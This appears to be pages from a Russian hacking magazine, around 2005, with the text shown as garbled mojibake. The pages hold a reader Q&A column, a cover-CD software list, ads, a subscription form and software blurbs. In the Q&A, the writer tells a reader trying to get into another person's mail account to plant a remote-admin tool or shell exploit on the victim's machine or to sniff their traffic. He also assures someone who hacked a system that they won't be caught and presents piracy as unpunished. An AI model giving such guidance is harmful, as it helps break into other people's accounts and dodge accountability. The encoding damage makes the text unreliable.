îíèðîâàííûé äîñòóï ê
äàííûì? Äà íå áûëî
íèêàêîãî íåñàíêöèîíè-
ðîâàííîãî äîñòóïà!
Ñêàíèðîâàíèå âûÿâëÿ-
åò ïåðå÷åíü óñëóã, ëå-
ãàëüíî ïðåäîñòàâëåí-
íûõ ñåðâåðîì, ýòî ÷òî-
òî íàïîäîáèå ÷òåíèÿ
òàáëè÷åê "îòêðûòî"

èëè "çàêðûòî", âûâå-
øåííûõ íà äâåðÿõ. Òåì
íå ìåíåå, ñêàíèðîâà-
íèå ïîðòîâ îáû÷íî ÿâ-
ëÿåòñÿ ïåðâîé ôàçîé
õàêåðñêîé àòàêè. Òàê
ñêàçàòü, ñâîåîáðàçíûì
ñèãíàëîì ê âòîðæåíèþ,
ïîýòîìó åãî áîÿòñÿ è
ïðè ïåðâîé æå âîçìîæ-
íîñòè ïðåñåêàþò. Äî
ñóäà äåëî åùå íè ðàçó
íå äîõîäèëî (ñîñòàâà
ïðåñòóïëåíèÿ íåò), íî
îáèæåííàÿ ñòîðîíà
î÷åíü äàæå ìîæåò íà-
æàëîâàòüñÿ ïðîâàéäå-
ðó. Â õóäøåì ñëó÷àå
ïîñëåäóåò îòêëþ÷åíèå
îò Ñåòè, íî îáû÷íî âñå
äåëî ñâîäèòñÿ ê "âûãî-
âîðó" ïî òåëåôîíó.
Ïðàâäà, îòìå÷åíû íå-
îäíîêðàòíûå ñëó÷àè
ôèçè÷åñêèõ ðàçáîðîê ñ
òÿæåëûìè òåëåñíûìè
ïîâðåæäåíèÿìè.

ß çàáûë ïàðîëü íà
ñâîé ÿùèê íà mail.ru.

Ïîìîãèòå ìíå âçëîìàòü åãî!

Áóäåì íàäåÿòüñÿ, ÷òî
ýòî äåéñòâèòåëüíî òâîé
ïàðîëü :), à íå ïàðîëü
òâîåé ïîäðóæêè èëè
ïàðòíåðà ïî áèçíåñó
(êàê áûâàåò ÷àùå âñå-
ãî). Çíà÷èò òàê. ×òîáû
äîáûòü ïàðîëü ñ ñåðâå-
ðà, íåîáõîäèìî õàêíóòü
åãî öåëèêîì. Òåîðåòè-
÷åñêè ýòî âîçìîæíî, íî
ïðàêòè÷åñêè òðóäíî-
ðåàëèçóåìî è ê òîìó
æå íàêàçóåìî, ïîýòîìó
ïðèõîäèòñÿ èäòè äðó-
ãèì ïóòåì. Êàê ïðàâè-
ëî, íà ìíîãèõ ñåðâåðàõ
åñòü ñëóæáà çàáûòûõ
ïàðîëåé, òðåáóþùàÿ
îòâåòèòü íà òàêîé-òî
âîïðîñ. ×àñòî îòâåò
òðèâèàëåí èëè ìîæåò
áûòü óãàäàí ñ íåñêîëü-
êèõ ïîïûòîê. Åñëè æå
ýòî âñå-òàêè íå òâîé
ÿùèê, ìîæíî çàáðîñèòü
íà êîìïüþòåð æåðòâû
ëþáóþ èç ñèñòåì óäà-
ëåííîãî àäìèíèñòðèðî-
âàíèÿ, èëè, âûðàæàÿñü
õàêåðñêèì ÿçûêîì, îòê-
ðûòü íà íåé shell, äëÿ
÷åãî ïîäîéäåò ëþáîé
shell-exploit. À åñëè
æåðòâà íàõîäèòñÿ â îä-
íîé ëîêàëüíîé ñåòè ñ
òîáîé, ìîæíî íàòðà-
âèòü íà íåå ñíèôåð.

Õàêíóë íå÷òî î÷åíü
êðóòîå è âîò ñåé÷àñ

ñèæó áîþñü � áëþñòèòåëè
ïîðÿäêà åùå íàãðÿíóò.

Íå íàãðÿíóò, íå áîéñÿ.
Ñ ïåðâîãî ðàçà åùå íè-
êîãî íå ïîâÿçûâàëè -
òóò íóæíà äîêàçàòåëü-
íàÿ áàçà ïëþñ çàÿâëå-
íèå îò ïîòåðïåâøåãî.
Äàæå åñëè ïîòåðïåâ-
øèé íàïèøåò çàÿâëå-
íèå, åñëè áóäåò îòñëå-
æåí òâîé ìàðøðóò è
îïðåäåëåí òâîé äîìàø-
íèé àäðåñ, â êâàðòèðó
íèêòî íå âëîìèòñÿ. Çà
÷åëîâåêîì óñòàíàâëè-
âàþò áîëåå èëè ìåíåå
ïëîòíóþ ñëåæêó. Åñëè
ëå÷ü íà äíî è íå ïðåä-
ïðèíèìàòü íèêàêèõ íå-
çàêîííûõ äåéñòâèé (íà
õàêåðñêèõ ôîðóìàõ,
âïðî÷åì, ëàçèòü ìîæ-
íî), òî íèêàêîé óãðîçû
íåò. Âî âñÿêîì ñëó÷àå,
â Ðîññèè äåëà îáñòîÿò
èìåííî òàê. Íà çàïàäå
âñå ñëîæíåå. Äà è ÷òî ñ
íåãî, äèêîãî, âîçü-
ìåøü? Óðîäàìè áûëè,
óðîäàìè è îñòàëèñü.
Òîëüêî èíäåéöåâ îòãå-
íîöèäèëè. Ïîñëå òîãî
êàê òû õàêíóë íå÷òî
î÷åíü êðóòîå, â Àìåðè-
êó ìîæíî áóäåò âúå-
õàòü òîëüêî ÷ó÷åëîì
èëè òóøêîé :). Àðåñòî-
âàòü ìîãóò ïðÿìî â 
àýðîïîðòó è áåç ïðåä-
óïðåæäåíèé.

Êàêàÿ îïåðàöèîííàÿ
ñèñòåìà ñàìàÿ çàùè-

ùåííàÿ?

Òàêîé ñèñòåìû íåò. Âî
âñåõ íûíå ñóùåñòâóþ-
ùèõ îñÿõ îáíàðóæèâà-
þòñÿ äûðû. ×åì ïîïó-
ëÿðíåå îïåðàöèîííàÿ
ñèñòåìà, òåì èíòåíñèâ-
íåå åå êîâûðÿþò è, ñî-
îòâåòñòâåííî, íàîáî-
ðîò. Äî íåäàâíåãî âðå-
ìåíè ñ÷èòàëîñü, ÷òî â
Linux äûð íåò, íî íà ñà-
ìîì äåëå åãî ïðîñòî
íèêòî íå èññëåäîâàë

êàê ñëåäóåò, à òåïåðü
åãî äûðû ñûïëþòñÿ êàê
èç ðîãà èçîáèëèÿ. Íà
FreeBSD äûð íàìíîãî
ìåíüøå: ðàçðàáîò÷èêè
âûëèçûâàþò ðåëèçû äî
çåðêàëüíîãî áëåñêà,
ïðåäïî÷èòàÿ ñåìü ðàç
ïîäóìàòü è îäèí ðàç
íàêîäèòü. Ïîýòîìó
FreeBSD î÷åíü ìåäëåí-
íî ðàçâèâàåòñÿ è íåèç-
áåæíî îòñòàåò îò ïðîã-
ðåññà. QNX, êîòîðàÿ,
êàê èçâåñòíî, ðàáîòàåò
â àòîìíûõ ðåàêòîðàõ è
ðåàêòèâíûõ èñòðåáèòå-
ëÿõ, íèêàêèõ äûð, ïîõî-
æå, âîîáùå íå ñîäåð-
æèò, íî è ñîôòà ïîä
íåå âûïóùåíî î÷åíü
íåìíîãî (äà è òîò áîëü-
øåé ÷àñòüþ îðèåíòèðî-
âàí íà ðàçðàáîò÷èêîâ).
Â ìèðå Windows ñàìîé
íåïðîøèáàåìîé îêàçà-
ëàñü... Windows 98. Ëè-
íåéêà NT (2000, XP è
ò.ä.) - ïðîñòî ñêîïèùå
áàãîâ, ïîýòîìó, åñëè
åñòü òàêàÿ âîçìîæ-
íîñòü, îò åå èñïîëüçî-
âàíèÿ ëó÷øå îòêàçàòü-
ñÿ. Ëè÷íî ÿ ñèæó ïîä
W2K, íî ïîñòåïåííî ïå-
ðåõîæó íà Debian :). 

Êàêîé þðèäè÷åñêîé
ñèëîé îáëàäàåò EULA

(îíà æå End User License
Agreement)?

Ïî÷åìó-òî ìíîãèå ñ÷è-
òàþò, ÷òî ëèöåíçèÿ åä-
âà ëè íå ðàâíîöåííà
Óãîëîâíîìó êîäåêñó, è
âñå, ÷òî òàì íè íàïèñà-
íî, ñëåäóåò â îáÿçà-
òåëüíîì ïîðÿäêå ñî-
áëþäàòü, èíà÷å ïðèäåò-
ñÿ êîðîòàòü äëèííûå
çèìíèå íî÷è ïîä íåáîì
â êëåòêó âìåñòå ñ
äðóçüÿìè â ïîëîñêó.
Áðåä! ×óøü ñîáà÷üÿ!
Ëèöåíçèÿ � ýòî äîãîâîð
è íå áîëåå òîãî! Íå ñòî-
èòü ñòðîèòü íàñ÷åò íåå
íèêàêèõ èëëþçèé, ïðè-
ïèñûâàÿ åé íåñóùåñò-
âóþùåå ìîãóùåñòâî.
Ñêàæåì, ñðûâàòü ïëîì-
áû íà òåëåâèçîðå òîæå
ïî èäåå íåëüçÿ (âî âñÿ-
êîì ñëó÷àå, òàê íàïèñà-
íî â ïàñïîðòå ê òåëåâè-
çîðó). Íî åñëè ðèñêíóë
ñäåëàòü ýòî, íàèâíî
îæèäàòü íàøåñòâèÿ
ÎÌÎÍÀ è äëèòåëüíîãî
òþðåìíîãî çàêëþ÷å-
íèÿ :). Ñðûâ ïëîìá ïî-
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âëå÷åò çà ñîáîé âñåãî
ëèøü íàðóøåíèå äîãî-
âîðà, çàêëþ÷åííîãî
ìåæäó ïðîäàâöîì è ïî-
êóïàòåëåì, ñ ïîñëåäóþ-
ùåé ïîòåðåé âñåõ ãà-
ðàíòèé è îáÿçàòåëüñòâ,
äàííûõ ïðîäàâöîì. Ñè-
òóàöèÿ ñ ïðîãðàììíûì
îáåñïå÷åíèåì â òî÷-
íîñòè àíàëîãè÷íà. Ïðè
çàêëþ÷åíèè ñäåëêè òû,
ïîêóïàòåëü, ñî ñâîåé
ñòîðîíû îáÿçóåøüñÿ
âûïîëíÿòü âñå ïóíêòû
ëèöåíçèîííîãî ñîãëà-
øåíèÿ. À ðàçðàáîò÷èê,
òî åñòü ïðîäàâåö, îáå-
ùàåò òåáå âñÿ÷åñêóþ
ïîìîùü (òåõíè÷åñêóþ
ïîääåðæêó, ñêèäêó íà
âñå íîâûå âåðñèè è òàê
äàëåå). Åñëè òû íàðó-
øèøü ëèöåíçèþ, åäèí-
ñòâåííîå, ÷òî ñìîæåò
ïðåäïðèíÿòü ïðîòèâ òå-
áÿ ïðîäàâåö, � îòêàçàòü
â òåõíè÷åñêîé ïîääå-
ðæêå, îòìåíèòü ñêèäêè

íà íîâûå âåðñèè, òî
åñòü çàáðàòü îáðàòíî
âñå ñâîè îáÿçàòåëü-
ñòâà. Íî íè÷åãî ñâåðõ
ýòîãî! Îäíàêî åñëè êðî-
ìå ëèöåíçèè íàðóøèòü
àâòîðñêîå èëè ïàòåíò-
íîå ïðàâî, òóò æå âñòó-
ïÿò â ñèëó ñîâñåì äðó-
ãèå çàêîíû. Íàïðèìåð,
ñîðâàâ ïëîìáû ñ òåëå-
âèçîðà, òû åùå íå ñî-
âåðøàåøü íèêàêîãî
ïðåñòóïëåíèÿ. Íî êîãäà
èçó÷èøü åãî ìîíòàæ-
íóþ ñõåìó, èçãîòîâèøü
òî÷íî òàêîé æå àãðåãàò
è âûíåñåøü åãî íà ðû-

íîê äëÿ ïðîäàæè, ïðî-
èçâîäèòåëü ñìîæåò ïî-
äàòü â ñóä çà íàðóøå-
íèå ïàòåíòíîãî ïðàâà,
â÷èíèâ èñê òîãî èëè
èíîãî ðàçìåðà. Àíàëî-
ãèÿ ñ ïðîãðàììíûì
îáåñïå÷åíèåì î÷åâèä-
íà. Â òî æå âðåìÿ íèêòî
íå çàïðåùàåò êîâû-
ðÿòüñÿ è âíîñèòü
êîíñòðóêòèâíûå èçìå-
íåíèÿ â ñâîé ýêçåìï-
ëÿð òåëåâèçîðà "äëÿ
äîìàøíåãî ïîëüçîâà-
íèÿ" (ïî àíàëîãèè �
àäàïòèðîâàòü ïðîãðàì-
ìû). ×òî ìîæíî âûòâî-
ðÿòü ñ ïðîãðàììíûì
îáåñïå÷åíèåì, áóäó ïå-
ðå÷èñëÿòü î÷åíü äîëãî.
Ëó÷øå ðàññêàæó, ÷òî
íåëüçÿ äåëàòü ñ íèì.
Íåëüçÿ êîïèðîâàòü åãî
(íå ïóòàòü ñ "ðàñïðîñò-
ðàíÿòü"), íåëüçÿ âûäà-
âàòü çà ñâîå ñîáñòâåí-
íîå, íàêîíåö, åãî íåëü-
çÿ êóøàòü :).

À ÷òî ìíå áóäåò, åñëè
ÿ ñêàæó, ÷òî íèêàêîé
ëèöåíçèè íå áûëî èëè

ÿ åå íå çàìåòèë?

Ìíå ÷àñòî ïðèõîäèòñÿ
âèäåòü ëþäåé, âïàäàþ-
ùèõ â äðóãóþ êðàé-
íîñòü è íà÷èíàþùèõ
óòâåðæäàòü, ÷òî âñå
ýëåêòðîííûå ëèöåíçèè
íå èìåþò íèêàêîé ñè-
ëû, ïîñêîëüêó íå ñíàá-
æåíû íè÷üåé ïîä-
ïèñüþ. Íà õóäîé êîíåö,
ìîæíî ïîïðîáîâàòü
ïðèêèíóòüñÿ íàèâíûì
÷óêîòñêèì þíîøåé, íå
óìåþùèì ÷èòàòü. À ðàç
÷åëîâåê íå ÷èòàë, òî
êàêîé ñ íåãî ñïðîñ? Óò-
âåðæäåíèå "íåçíàíèå
çàêîíà íå îñâîáîæäàåò
îò îòâåòñòâåííîñòè"
çäåñü íåïðèåìëåìî, òàê
êàê ðå÷ü èäåò íå î çà-

êîíå, à î äîãîâîðå, íåç-
íàíèå êîòîðîãî îñâî-
áîæäàåò îòî âñåõ îáÿ-
çàòåëüñòâ, äàííûõ ïî
íåìó: êàê ãëàñèò ñòàòüÿ
432 Ãðàæäàíñêîãî êî-
äåêñà ÐÔ, åñëè îäíà èç
ñòîðîí íå ñóìåëà èëè
íå çàõîòåëà ïðî÷èòàòü
äîãîâîð, òî îí ïðèçíà-
åòñÿ íåäåéñòâèòåëü-
íûì. Íà ñàìîì äåëå ïî-
íÿòèå äîãîâîðà ñòîëü
øèðîêî, ÷òî âûõîäèò
çà ðàìêè áóìàã è ïàïè-
ðóñíûõ ñâèòêîâ. Òàê,
îïóñêàÿ æåòîí (êàðòî÷-
êó) â òóðíèêåò â ìåòðî,
ñ þðèäè÷åñêîé òî÷êè
çðåíèÿ òû çàêëþ÷àåøü
äîãîâîð (äåíüãè â îá-
ìåí íà óñëóãó äîñòàâêè
òåëà â íóæíîå ìåñòî è
íóæíîå âðåìÿ). Íèãäå
íåò íè÷üåé ïîäïèñè, íî
ýòî åùå íå îçíà÷àåò,
÷òî åñëè àâòîìàò áëà-
ãîïîëó÷íî ïðîãëîòèë
æåòîí, à òåáÿ âñå ðàâ-
íî íå ïðîïóñòèë, ýòî

ñîéäåò åìó ñ ðóê ââèäó
îòñóòñòâèÿ íà äîãîâîðå
ïîäïèñè, çàâåðåííîé
ïå÷àòüþ. Òàêàÿ æå ñè-
òóàöèÿ ñêëàäûâàåòñÿ è
ñ ïðîãðàììíûì îáåñïå-
÷åíèåì. Ýëåêòðîííûé
äîãîâîð íå ÿâëÿåòñÿ
ïðåïÿòñòâèåì äëÿ âû-
íåñåíèÿ èñêà ëèöó, íà-
ðóøàâøåìó åãî. Òåõíè-
êà ñáîðà íåîáõîäèìûõ
äîêàçàòåëüñòâ � ñîâñåì
äðóãîé âîïðîñ, íî íå
ñòîèò íàäåÿòüñÿ, ÷òî ó
èñòöà âñåãäà îòñóòñòâó-
þò òàêèå äîêàçàòåëü-
ñòâà. Êîðî÷å ãîâîðÿ, â
æèçíè äåéñòâóåò òàêàÿ
ñõåìà: åñëè ëþäè ïðî-
ñÿò çà ñâîé ïðîäóêò
íîðìàëüíûå äåíüãè,
åãî ïîêóïàþò, â ïðîòèâ-
íîì ñëó÷àå � ïèîíåðÿò,
è ïóñòü ñèëû ïðàâîïî-
ðÿäêà ïîïðîáóþò ÷òî-
òî äîêàçàòü. Ýòî íå
ïðèçûâ, à êîíñòàòàöèÿ
ôàêòà.



ÌÎÁÈËÜÍÛÉ
ÂÇËÎÌ

Âñå î áåñïîâîäíûõ ñåòÿõ

Wi-Fi: îáíàðóæåíèå, àòàêè, çàùèòà

Bluetooth: áåçîïàñíîñòü

Âçëîì ìîáèëüíûõ óñòðîéñòâ

Óÿçâèìîñòè â ÊÏÊ

Âçëîì SIM-êàðòû

Ñíèôèíã ìîáèëüíîé ñâÿçè

ÊÏÊ íà ñëóæáå óãîíùèêà

SMS-ñïàì

Ìîáèëüíûå èíñòðóìåíòû

Ôðèêèíã

TOP10 "ÌÎÁÈËÜÍÛÕ"
ÁÀÃÎÂ È ÌÍÎÃÎ ÄÐÓÃÈÕ
ÏÐÈ×ÈÍ ÇÀÄÓÌÀÒÜÑß 
Î ÁÅÇÎÏÀÑÍÎÑÒÈ
ÐÀÄÈÎÑÅÒÅÉ!

ÈÍÒÅÐÍÅÒ-ÄÅÍÜÃÈ
Îáìåííèêè âàëþòû, êàçèíî è äðóãèå web-ñåðâèñû,
ñâÿçàííûå ñ èíòåðíåò-âàëþòîé. Ðàçëè÷íûå ïëàòåæíûå
ñèñòåìû: WebMoney, e-gold, GoldMoney, PayPal è äð.
Çàðàáîòîê/ïðîöåññèíã: ÷òî è êàê ðåàëèçîâàòü. Êàê
ñäåëàòü ñâîþ ïèðàìèäó/áàíê, êàê êèäàþò â e-áèçíåñå.

ÑÊÐÛÒÀß ÓÃÐÎÇÀ
Øïèîíñêèå õèòðîñòè. "Áîëüøîé áðàò ñëåäèò çà òîáîé".
Âñå î æó÷êàõ. Êîìïüþòåðíûé øïèîíàæ. Òàéíà PGP: åñòü
ëè â íåì "òðîÿí". Ðåàëèçàöèÿ ñëåæêè è ïðîòèâîñòîÿ-
íèå åé.



Â ÀÒÀÊÓ!
Atelier Web Firewall Tester
CRACKL@B Protected

Storage Viewer 1.0 (+src)
DNSTest 1.0
FireHole 1.01
Ghost 1.1
LeakTest 1.2
mbtest 0.2
Nessus 2.2.5
Nmap 3.81
Outbound
pcAudit 3.0.0.9
pcAudit Leak Test
Rainbow Crack 1.2

(src/scripts)
Shadow Security Scanner

7.61
Showtraf 1.5.0
Surfer 1.1
Thermite
TooLeaky
Wallbreaker 4.0 
winsock sniffer 1.76
YALTA

ÐÎÅÌ ÎÊÎÏÛ
AFICK 2.8-1
3proxy 1.5
bstring-05302005
DrWeb 4.32b (win/linux)
Ethereal 0.10.12 (win/src)
fwmon v1.1.0
Kaspersky Anti-Hacker 1.7
Kaspersky Anti-Virus

Personal Pro 5.0
Kaspersky Personal

Security Suite 1.0
Netstatp v2.0
NetTime 2b7 (+src)
Norton Antivirus 2005
Norton Internet Security

2005
pcInternet Patrol
Proxomitron 4.5
RKDetect (by Offtopic) 
Safe Run As
SpyBot Search&Destroy 1.4
Symantec AntiVirus for

Handhelds

Symantec AntiVirus for
Series60/80

TCPView v2.40
WinPcap 3.0/3.1beta4

ÈÍÑÒÐÓÌÅÍÒÛ
MINGW 4.1.1
putty 0.58 (+src +sftp-GUI)
SecureCRT 5.0

ÑÎÔÒ ÎÒ NONAME
AutoPatcher XP Jul2005 
AWicons 9.2.0
CrackDownloader 2.2
DrWeb Browser plugin
FeedReader 2.9.0
NetView 2.92
NINJAM 0.06
Saver 1.2
TaskSwitch XP 2.0.6
TrueCrypt 3.1.a
WAPT 3.0

Âñå ýòî íà
ÌÓËÜÒÈÇÀÃÐÓÇÎ×ÍÎÌ CD!

Ñïåö 07(56), Ìîáèëüíûå äåíüãè
Õàêåð 07(79)
Æåëåçî 07(17)
Ìîáèëüíûå êîìïüþòåðû 07(58)
Îáíîâëåíèÿ äëÿ Windows çà ìåñÿö

òî-òî óäàëåííî âîñïîëüçîâàëñÿ
óÿçâèìîñòüþ â òâîåì ÏÎ? Íå ïîìîã
firewall? Âîçâåñòè íàñòîÿùóþ "îã-

íåííóþ ñòåíó" òåáå ïîìîæåò ñîôò ñ äèñêà -
ñòàíîâèñü íàñòîÿùèì ñåêüþðèòè-ãóðó, óçíàé
î áåçîïàñíîñòè êëèåíòñêèõ ïðèëîæåíèé âñå!
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Ñòîèìîñòü çàêàçà 
íà Õàêåð Ñïåö

ÂÛÃÎÄÀ

ÃÀÐÀÍÒÈß

ÇÀÊÀÆÈ ÆÓÐÍÀË Â ÐÅÄÀÊÖÈÈ È ÑÝÊÎÍÎÌÜ ÄÅÍÜÃÈ!

111155  ðð.. íà îäèí ìåñÿö (ýêîíîìèÿ 40 ðóáëåé*)

669900  ðð.. íà 6 ìåñÿöåâ (ýêîíîìèÿ 240 ðóáëåé*)

11224422  ðð..  íà 12 ìåñÿöåâ (ýêîíîìèÿ 666622220000 ðóáëåé*)

Öåíà ïîäïèñêè íà 20% íèæå, ÷åì â ðîçíè÷íîé ïðîäàæå
Áîíóñû, ïðèçû è ïîäàðêè äëÿ ïîäïèñ÷èêîâ 
Äîñòàâêà çà ñ÷åò ðåäàêöèè

Òû ãàðàíòèðîâàííî ïîëó÷èøü âñå íîìåðà æóðíàëà
Åäèíàÿ öåíà ïî âñåé Ðîññèè

Çàêàç óäîáíî îïëàòèòü ÷åðåç ëþáîå îòäåëåíèå áàíêà
Äîñòàâêà îñóùåñòâëÿåòñÿ çàêàçíîé áàíäåðîëüþ èëè êóðüåðîì

Ñòîèìîñòü çàêàçà íà êîìïëåêò 
Õàêåð Ñïåö è Õàêåð**

+

220077  ðð.. êîìïëåêò íà îäèí ìåñÿö 
(ýêîíîìèÿ 85 ðóáëåé*)

11224422  ðð..  êîìïëåêò íà 6 ìåñÿöåâ 
(ýêîíîìèÿ 510 ðóáëåé*)

22223366  ðð.. êîìïëåêò íà 12 ìåñÿöåâ
(ýêîíîìèÿ 1111222255550000 ðóáëåé*)

*îò ñðåäíåé ðîçíè÷íîé öåíû ïî Ìîñêâå
**Õàêåð ñ 2CD èëè Xakep c DVD

Áåñïëàòíûé òåëåôîí ïî âñåì
âîïðîñàì ïîäïèñêè äëÿ ðåãèîíîâ:
8-800-200-3-999
(â òîì ÷èñëå äëÿ àáîíåíòîâ ÌÒÑ,
Áèëàéí, ÌåãàÔîí), äëÿ Ìîñêâû:
935-70-34

ÑÅÐÂÈÑ



Ïðîøó îîôîðìèòü ïïîäïèñêó:

Ìîñêâà: ÎÎÎ «Èíòåð-Ïî÷òà», òåë.: 500-00-60, e-mail: inter-post@sovintel.ru
Ðåãèîíû: ÎÎÎ «Êîðïîðàòèâíàÿ ïî÷òà», òåë.: 953-92-02, å-mail: kpp@sovintel.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñêè íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì æóðíàëà, ïåðèîäîì ïîäïèñêè, áàíêîâñêèìè ðåêâèçèòàìè, þðèäè-
÷åñêèì è ïî÷òîâûì àäðåñîì, òåëåôîíîì è ôàìèëèåé îòâåòñòâåííîãî ëèöà çà ïîäïèñêó.
www.interpochta.ru

Êàê îôîðìèòü çàêàç

Ïîäïèñêà äëÿ þðèäè÷åñêèõ ëèö

1. Çàïîëíèòü êêóïîí èè êêâèòàíöèþ
2. Ïåðå÷èñëèòü ññòîèìîñòü ïïîäïèñêè ÷÷åðåç ÑÑáåðáàíê 
3. Îáÿçàòåëüíî ïïðèñëàòü ââ ððåäàêöèþ êêîïèþ îîïëà÷åííîé êêâèòàíöèè ññ ÷÷åòêî ççàïîëíåííûì êêóïîíîì ëëþáûì 
èç ïïåðå÷èñëåííûõ ññïîñîáîâ: 

ïî ýëåêòðîííîé ïî÷òå: subscribe@glc.ru; 
ïî ôàêñó: 924-96-94;
ïî àäðåñó: 119021, ã. Ìîñêâà, óë. Òèìóðà Ôðóíçå, ä.11, ñòð. 44-45, ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ!
Ïîäïèñêà îôîðìëÿåòñÿ â äåíü îáðàáîòêè êóïîíà è êâèòàíöèè.

êóïîíû, îòïðàâëåííûå ïî ôàêñó èëè ýëåêòðîííîé ïî÷òå, îáðàáàòûâàþòñÿ â òå÷åíèå 5 ðàáî÷èõ äíåé.
êóïîíû, îòïðàâëåííûå ïî÷òîé íà àäðåñ ðåäàêöèè îáðàáàòûâàþòñÿ â òå÷åíèå 20 äíåé.

ÐÐååêêîîììååííääóóååìì èèññïïîîëëüüççîîââààòòüü ýýëëååêêòòððîîííííóóþþ ïïîî÷÷òòóó èèëëèè ôôààêêññ..

Ïîäïèñêà ïðîèçâîäèòñÿ ñ íîìåðà, âûõîäÿùåãî ÷åðåç îäèí êàëåíäàðíûé ìåñÿö ïîñëå îïëàòû. Íàïðèìåð, åñëè ïðîèçâåñòè îïëàòó â
ñåíòÿáðå, òî ïîäïèñêó ìîæåíî îôîðìèòü ñ íîÿáðÿ.

ÏÏîî ââññååìì ââîîïïððîîññààìì ïïîî ïïîîääïïèèññêêåå ççââîîííèè ááååññïïëëààòòííîî ïïîî òòååëëååôôîîííóó 8-8800-2200-33-9999 ((ääëëÿÿ ððååããèèîîííîîââ,, ââ òòîîìì
÷÷èèññëëåå ññ ììîîááèèëëüüííûûõõ òòååëëååôôîîííîîââ ÌÌÒÒÑÑ,, ÁÁèèëëààééíí,, ÌÌååããààôôîîíí)) èèëëèè 935-770-334 ((èèçç ÌÌîîññêêââûû)),,
ÂÂîîïïððîîññûû ïïîî ïïîîääïïèèññêêåå ììîîææííîî ççààääààââààòòüü ïïîî ee-mmaaiill:: iinnffoo@@ggllcc..rruu
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NINJAM 0.06

Èíòåðåñíàÿ ðàçðàáîòêà îò ñîçäàòåëÿ WinAmp'à -
Äæàñòèíà Ôðåíêåëÿ. Ýòà ïðîãðàììà ïðåäíàçíà÷åíà
äëÿ ìóçûêàíòîâ è ÿâëÿåòñÿ ñâîåãî ðîäà ìóçûêàëü-

íûì àíàëîãîì IP-òåëåôîíèè :).
Îòëè÷èòåëüíîé îñîáåííîñòüþ ÿâëÿåòñÿ ñïîñîá áîðüáû ñ
çàäåðæêàìè. Åäâà ëè ïðîãðàììà ïðèîáðåòåò òîò æå óñïåõ,
÷òî è WinAmp, íî ïîèãðàòüñÿ ìîæíî.

»

AWICONS 9.2.0

AWicons - èíñòðóìåíò äëÿ ïîèñêà, ñîçäàíèÿ, ðåäàê-
òèðîâàíèÿ, èìïîðòèðîâàíèÿ/ýêñïîðòèðîâàíèÿ èêî-
íîê, ñòàòè÷åñêèõ è àíèìèðîâàííûõ êóðñîðîâ, íå-

áîëüøèõ èçîáðàæåíèé.

Ïîääåðæèâàåò êó÷ó ôîðìàòîâ, óìååò ðàáîòàòü ñ áèáëèîòå-
êàìè èêîíîê, ìåíÿòü èêîíêè â èñïîëíÿåìûõ ôàéëàõ, ñíè-
ìàòü ñêðèíû ñ ýêðàíà è ìíîãîå äðóãîå. À ÷òî ñàìîå ïðèÿò-
íîå, Standart-âåðñèÿ áåñïëàòíà äëÿ æèòåëåé òåððèòîðèè
áûâøåãî ÑÑÑÐ :).

»
WAPT 3.0

WAPT - ïðîãðàììà äëÿ èñïûòàíèÿ web-ñåðâåðà ïîä
íàãðóçêîé. Ïîçâîëÿåò ïðîâåðèòü óñòîé÷èâîñòü òâî-

åãî web-ïðèëîæåíèÿ ê ðåàëüíûì íàãðóçêàì.

WAPT ìîæåò ìîäåëèðîâàòü ìíîæåñòâåííûõ ïîëüçîâàòå-
ëåé äëÿ êàæäîãî ñöåíàðèÿ, èçìåíÿòü çàäåðæêè ìåæäó çàï-
ðîñàìè è äèíàìè÷åñêè ãåíåðèðîâàòü èñïûòàòåëüíûå ïàðà-
ìåòðû. Çíà÷åíèÿ ïàðàìåòðîâ çàïðîñà è URI ìîãóò áûòü
ðàññ÷èòàíû íåñêîëüêèìè ñïîñîáàìè è äàæå, âåðîÿòíî, áó-
äóò îïðåäåëåíû îòâåòîì ñåðâåðà íà ïðåäûäóùèé çàïðîñ.

»

TASKSWITCHXP PRO 2.0.6

TaskSwitchXP - ïðîãðàììà äëÿ ïåðåêëþ÷åíèÿ çàäà÷
â ÎÑ Windows XP/2003, àëüòåðíàòèâà ñòàíäàðòíîìó
íåâçðà÷íîìó îêîøêó Windows, êîòîðîå ïîÿâëÿåòñÿ

ïî <Alt>+<Tab> (èëè <Alt>+<Shift>+<Tab>).

TaskSwitchXP èñïîëüçóåò âèçóàëüíûå ñòèëè (Visual Styles)
îôîðìëåíèÿ Windows XP/2003 ("Ñâîéñòâà ýêðàíà"->
"Îôîðìëåíèå"-> "Ñòèëü Windows XP") è ïðåäîñòàâëÿåò
âîçìîæíîñòü ïðåäïðîñìîòðà âûáðàííîãî îêíà.

»
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NIKSAVER V 1.2.5

×àñòî áûâàåò, ÷òî Windows ñëåòàåò ïî êàêèì-òî ñâî-
èì çàìîðî÷êàì èëè ïðîñòî ïîòîìó, ÷òî òû çàáûâà-
åøü îá àêòèâàöèè :). Â òàêèõ ñëó÷àÿõ ÿ ïðèâûê

ïîëüçîâàòüñÿ Drive Image. Ñäåëàë ïîëíûé image õàðäà, åñ-

ëè ÷òî - âîññòàíîâèë, è âñå â øîêîëàäå. Íî âäðóã ïîïàëàñü
íà ãëàçà äðóãàÿ óòèëèòêà...
Ïðîãðàììà ïîçâîëÿåò êàê áû "ðåçåðâèðîâàòü" ÷àñòè ðå-
åñòðà è ñèñòåìíûõ ôàéëîâ, ÷òîáû ïîòîì ìîæíî áûëî ëåãêî
âîññòàíîâèòü èíôîðìàöèþ. Ñîîòâåòñòâåííî, è îíà ñàìà, è
åå áåêàïû íàìíîãî ëåã÷å Drive Image, õîòÿ â íàøè âðåìåíà
200-ãèãîâûõ õàðäîâ óæå ìàëî êòî îáðàùàåò âíèìàíèå íà
ìåñòî :).

»

NETVIEW V2.92

Î÷åíü ïîëåçíàÿ ñîôòèíêà äëÿ àäìèíèñòðèðîâàíèÿ
ëîêàëüíûõ ñåòåé. Ýòî íå ïðîñòî ìîùíûé

èíñòðóìåíò äëÿ ìîíèòîðèíãà ñåòåé. 

NetView ìîæåò äîïîëíÿòüñÿ ïëàãèíàìè, à òàêæå óìååò
ïðåäñòàâëÿòü ëîêàëüíóþ ñåòü âèçóàëüíî :), òî åñòü
ðèñîâàòü åå. Â Uplink âñå èãðàëè :)?

»

TRUECRYPT 3.1A

Õîðîøàÿ è áåñïëàòíàÿ àëüòåðíàòèâà ïðîãðàììå
BEST CRYPT.

